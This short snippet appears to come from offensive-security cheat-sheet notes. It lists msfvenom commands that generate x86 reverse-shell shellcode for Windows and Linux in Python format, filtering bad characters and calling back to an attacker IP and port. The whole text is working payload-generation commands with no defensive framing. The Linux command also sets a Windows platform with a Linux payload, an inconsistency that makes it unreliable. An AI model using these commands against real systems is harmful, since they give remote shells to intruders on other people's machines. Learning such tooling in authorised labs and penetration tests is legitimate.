Generate shellcode with specified size in python format
msfvenom -a x86 --platform windows \
-p windows/shell_reverse_tcp \
-b '\x00\x40\x0a\x0d' \
-s $PAYLOAD_SIZE \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
| msfvenom -a x86 --platform Windows -f python -v shellcode
Linux
msfvenom -a x86 --platform Windows \
-p linux/x86/shell_reverse_tcp \
-b '\x00\x40\x0a\x0d' \
-f python -v shellcode \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT